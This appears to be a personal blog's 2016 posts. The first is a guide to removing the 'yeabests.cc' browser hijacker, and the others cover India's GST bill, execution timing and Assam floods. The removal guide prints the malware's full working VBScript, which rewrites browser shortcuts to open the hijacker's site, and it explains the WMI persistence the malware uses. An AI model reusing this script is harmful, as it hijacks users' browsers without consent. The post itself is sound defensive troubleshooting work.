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Tuesday, 16 August 2016

How to Remove yeabests.cc virus from system

Hello all,

 I was already frustrated from this virus when it hijacked my pc last week.

Moving to steps

Files Required

ProcessMonitor

WMIExplorer

Open Process Monitor Goto Process Monitor filter
Select Path -> Contains -> Google Chrome.lnk then Include
Click Add
Press Ok



First remove chrome shortcut containing extra link like --load extension .... bla bla bla

Now constantly check chrome shortcut and As soon as it again gets renamed note the time and
Come back to process monitor and note the file name which had just done "Write" Operation
That's it this file was responsible for doing the changes.

Now I got clue that scrcons.exe was responsible to do this.

Ok now  moving forward I research a lot and got that this is advance version of running vbscript program without storing the file.

Voila

Now Open WMIExplorer


Below is the VB code that was executing

Below is the content of VBScript used to hijack browsers:
Dim objFS
Set objFS = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Const link = "http://yeabests.cc"
browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe")
Set BrowserDic = CreateObject("scripting.dictionary")
For Each browser In browsers
 BrowserDic.Add LCase(browser), browser
Next
Dim FoldersDic(12)
Set WshShell = CreateObject("Wscript.Shell")
FoldersDic(0) = "C:\Users\Public\Desktop"
FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu"
FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(4) = "C:\Users\MyUser\Desktop"
FoldersDic(5) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu"
FoldersDic(6) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
FoldersDic(7) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(8) = "C:\Users\MyUser\AppData\Roaming"
FoldersDic(9) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch"
FoldersDic(10) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu"
FoldersDic(11) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
Set fso = CreateObject("Scripting.Filesystemobject")
For i = 0 To UBound(FoldersDic)
 For Each file In fso.GetFolder(FoldersDic(i)).Files
  If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
   set oShellLink = WshShell.CreateShortcut(file.Path)
   path = oShellLink.TargetPath
   name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
   If BrowserDic.Exists(LCase(name)) Then
    oShellLink.Arguments = link
    If file.Attributes And 1 Then
     file.Attributes = file.Attributes - 1
    End If
    oShellLink.Save
   End If
  End If
 Next
Next
createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0


Now open C:\Windows\System32\wbem and then right click on wbemtest to open in admin mode 

Now Follow steps as







Only thing left is to remove argument from your browser shortcuts.
  • Right click on desired shortcut and select Properties.
  • Remove http://yeabests.cc argument after "
  • Click OK to apply changes.

Tuesday, 9 August 2016

GST Bill defination made simple

Most of Us are still wondering what is GST Bill?


So, Now you can understand this topic simply  by watching this video.


Thursday, 4 August 2016

Pros and Cons of the new GST bill in India?

The long-awaited Goods and Services Tax Bill is expected to be passed on Wednesday in Rajya Sabha. With the major opposition party, Congress now agreeing to the passage of the bill, major hurdles for the Bill have been cleared.


Historical Background:
It was first recommended by Kelkar Task Force on implementation of Fiscal Reforms and Budget Management Act 2004.  (http://finmin.nic.in/reports/FRB... )

Motives behind the GST:
  • Subsume all indirect taxes at the centre and the state level
  • One-Country-One-Tax
  • Reduce the cascading effect of taxes on taxes.
  • Increase productivity and transparency; increase tax-GDP ratio.
  • Reduce/Eliminate tax evasion and corruption 


How is it going to happen?
Currently a businessman (includes manufacturers, whole-sellers, retailers), purchaser and even a salaried person has to pay variety of taxes when they get engaged in transactions of an item. You might wonder how a salaried person comes into the picture. Remember Central Surcharges you pay as a tax assessee and Service Tax you have to pay in restaurants and other places?

GST envisages following amendments in the Tax Regime:

1. The GST regime seeks to subsume the following taxes into a single one:
Taxes levied by Central Govt. : Central Exercise. Service Tax. Service Tax. Central Surcharges. Central Cesses.
Taxes levied by State Govt. : VAT/Sales Tax. Entertainment Tax. Luxury Tax. State Taxes and Cesses.

2. There will be minimum three rates, namely Standard Rate (covers most items), Merit Rate (Lower than Standard Rate for essential goods) and Special Rate (higher than Standard Rate for jewellery and precious metals)

3. Cooperative Federalism States and the Centre will have concurrent power to levy taxes. As of now, Centre mainly collects Service Tax, while the states tax the retailing process. With GST their roles will be extended. Anyone can tax anything. However, the states will see their arena extended, the Centre's will be shrunken.

4. Taxes on consumption but not on production. The final consumer will bear all the taxes, and this tax will have Centre's as well as the States' share in it. Taxes will also be paid by intermediaries, however this amount will be paid back to them!

Merits of the GST Regime:
  • Reduce the cascading effect of taxes on the final price of the product. Eliminate tax-on-tax effect. No more Tarikh pe Tarikh pe Tarikh...ooops Tax pe Tax pe Tax pe Tax.
  • Moderate prices and increase consumption.
  • Uniform and Stable Tax Regime. One-Country-One-Tax.
  • Simplify Tax Structure. Reduce the hassles of filing tax forms by merchants.
  • Increase GDP, tax-GDP ratio and revenue surplus.

Demerits of the GST:
  • Doesn't include petroleum and alcohol products. Heavy loss to the exchequer.
  • Instead of blurring out the difference between goods and services tax, it highlights them. An aam aadmi (common man) filing the tax-returns will have to suffer.
  • It requires strong IT (Information Technology) infrastructure at grass-root levels. India essentially lacks this. This factor is going to be the bottleneck, if not addressed well in advance.
  • Very high rates 16% compared to current 12.5 % VAT.
  • Tax-sharing between states and the Centre was another bottleneck. Nice to see that there is a consensus now.


The GST Bill has been pending for long: since 2004. With the UPA Govt. at centre, the BJP-controlled states were against it. As the GST bill requires amendment to the Constitution (Amendments to the clauses relating to Centre's and states' power to levy and collect taxes), the states feared loss of autonomy. The experts tried to ally this false apprehension, but it was largely due to lack of political will that the Bill couldn't see the light for this long. F*ck you BJP.

The Bill as brought up by the newly elected Central Govt. is basically the same old wine in new bottle, with minor changes:
  • Centre to compensate for the states' loss - 100% in first 3 years, 75% for the fourth year and 50% for the fifth year.
  • Formation of GST council for deciding the GST Rates.
  • States with manufacturing activities to enjoy protection for a little while.
  • Mostly uniform rate, but little flexibility permissible.

In my opinion, there are more positives to the GST Bill than negatives. The negatives are mostly minor, arising out of the structural problem in the country. This should have been done long back, which otherwise created more confusion, helped merchants evade taxes and accumulate black money. Happy to see that the govt. with such a strong mandate is pushing forward the agenda.

Sunday, 31 July 2016

Why Prisoner Executions Are Carried Out Before Sunrise Or In The Early Morning ?

Now this may seem a bit offending to some pseudo criminal sympathizers, but in India, our judiciary system is a bit slow or rusty for awarding death sentences which comes only in rarest of the rare cases. Rapists and even terrorists spends loads of time in prison cell before we finalize their punishment. And in the midst of deciding, they actually get a lot of popularity which indeed helps many lost souls to follow the path of stupidity.

India’s great martyrs BHAGAT SINGH along with SUKHDEV and RAJGURU were executed on 23 March 1931 at 7:30 pm in the Lahore jail. Even low lives like Afzal Guru and Ajmal Kasab were executed early in the morning around 7 AM. So what is with the timing ? Does this have any relevance with a old legendary story ?

We have seen a lot of executions in movies. But hardly anyone of us have ever witnessed a real life face off. During the time of execution, there is just a judicial executioner, a magistrate or his representative, a doctor and some policemen. It is a total private affair and its live telecast is not subjected for mass consumption. Although there had been some exceptions where videos of execution of Sadam Hussain once got viral on Youtube, however it has been removed on the basis of humanitarian grounds.

Some prison policemen believe that the other inmates who might be friend with the prisoner who is being executed can posses as a threat of unrest at the appointed hour. So the execution usually takes place while everyone in the prison are asleep.



Another reason for early executions is that a death warrant is often good for just one day. In California, if the execution is not carried out within that 24-hours period, the state must apply for a re-petition in the court for another death warrant. Now this might take another day. So just in order to avoid such things, executions are done early in the morning.



Also, another reason is that pre and post execution exercises takes a lot of time which includes medical tests and many file works as a form of standard procedure. So in order to not to disturb anyone’s daily schedule, the execution is done at the early hours.



Also, the reason behind early morning executions is to ensure that the the dead body does not starts decaying and the dead person’s family members find enough time to perform the last rites within that day itself.



As per to my assumption, if someday (I hope not) I am sentenced to death, psychologically, it will be quite difficult for me to cope up with the fact that within next few hours I will be dead. So the more time I will spend thinking about it, the more will be the mental trauma through which I will suffer. So in order to prevent this mental trauma, early morning executions can be indeed logically justified.
So here were some of the reasons. If anyone of you have ever experienced such executions and managed to come out of it miraculously, please feel comfortable to share your views and knowledge in the comment section below (Humor Intended).

Assam continues to reel under flood fury; 19 lakh affected

Assam continued to be ravaged by flood today as an estimated 19 lakh people were affected in the state due to heavy rainfall and swelling of rivers triggered by incessant rains in upper catchment areas of Arunachal Pradesh and Bhutan.


The other affected districts are Sivsagar, Kokrajhar, Dibrugarh, Goalpara, Tinsukia, Biswanath, Nalbari, Baksa, Udalgluri, Kamrup (M), Chirang, Kamrup and South Kamrup, the ASDMA said.
The Brahmaputra is flowing above the danger mark at Guwahati, Nematighat in Jorhat, Tezpur in Sonitpur, Goalpara and Dhubri towns.
To provide succor to the affected people, relief has been distributed as per requirement in all the flood affected districts and funds for providing relief have been placed with the district administrations in advance.
NDRF, SDRF and the army are helping the district administration in evacuating the affected population to safe places. A total of 19 lakh people were directly of indirectly affected by floods.
State Disaster Response Force (SDRF) teams with deep divers have also been attached to the 27 Fire Stations of the State.
Meanwhile, eight rhino cubs displaced and separated from their mothers were rescued by Kaziranga National Park and Centre of Wildlife Rehabilitation and Conservation (CWRC) team. .

2-year-old photo from Bangladesh appears in Assam’s BJP government’s flood report to Rajnath Singh

In a huge embarrassment, the newly elected BJP government of Assam included a 2-year-old photo of Bangladesh’s Noakhali flood in its interim report on Assam flood to Union Home Minister Rajnath Singh on Saturday.

The report, handed over by Assam Chief Minister Sarbananda Sonowal to Singh during his day-long visit to survey the flood condition in the state, comprises nine photographs. Out of this, one is the famous picture of Noakhali flood, where a young boy rescues and carries a baby deer amidst flood water.


The picture, taken by wildlife photographer Hasibul Wahab and distributed by Caters News Agency in February 2014, received global appreciation at that time. The photo showed the boy, Belal, in his 20s risking his life to rescue the baby deer with waters reaching his eyes. Senior Assam government officials owned up the mistake when pointed out but tried to shift the blame on “some” DCs who forwarded the picture to the state capital.
“It is a big mistake. We accept it. Actually some DCs have forwarded this to us because of similarity with situation in Kaziranga National Park,” a senior official said on condition of anonymity.
Another official said residents in and around Kaziranga have been rescuing animals during current wave of flood and this might have “misled” officials to include the picture.
Meanwhile Assam flood situation remained critical with three more persons perishing, taking the toll to 29 in the current deluge even as Union Home Minister Rajnath Singh made an aerial survey today of the affected areas.
The worst-affected districts are Lakhimpur, Golaghat, Bongaigaon, Jorhat, Dhemaji, Barpeta, Goalpara, Dhubri, Darrang, Morigaon and Sonitpur.
ASDMA said nearly two lakh hectares of crop area across the state are under flood waters, while a number of roads, embankments, bridges and other infrastructure were washed away.
Currently, Brahmaputra is flowing above the danger mark at Guwahati, Nematighat in Jorhat, Tezpur in Sonitpur, Goalpara and Dhubri towns.
(With inputs from PTI)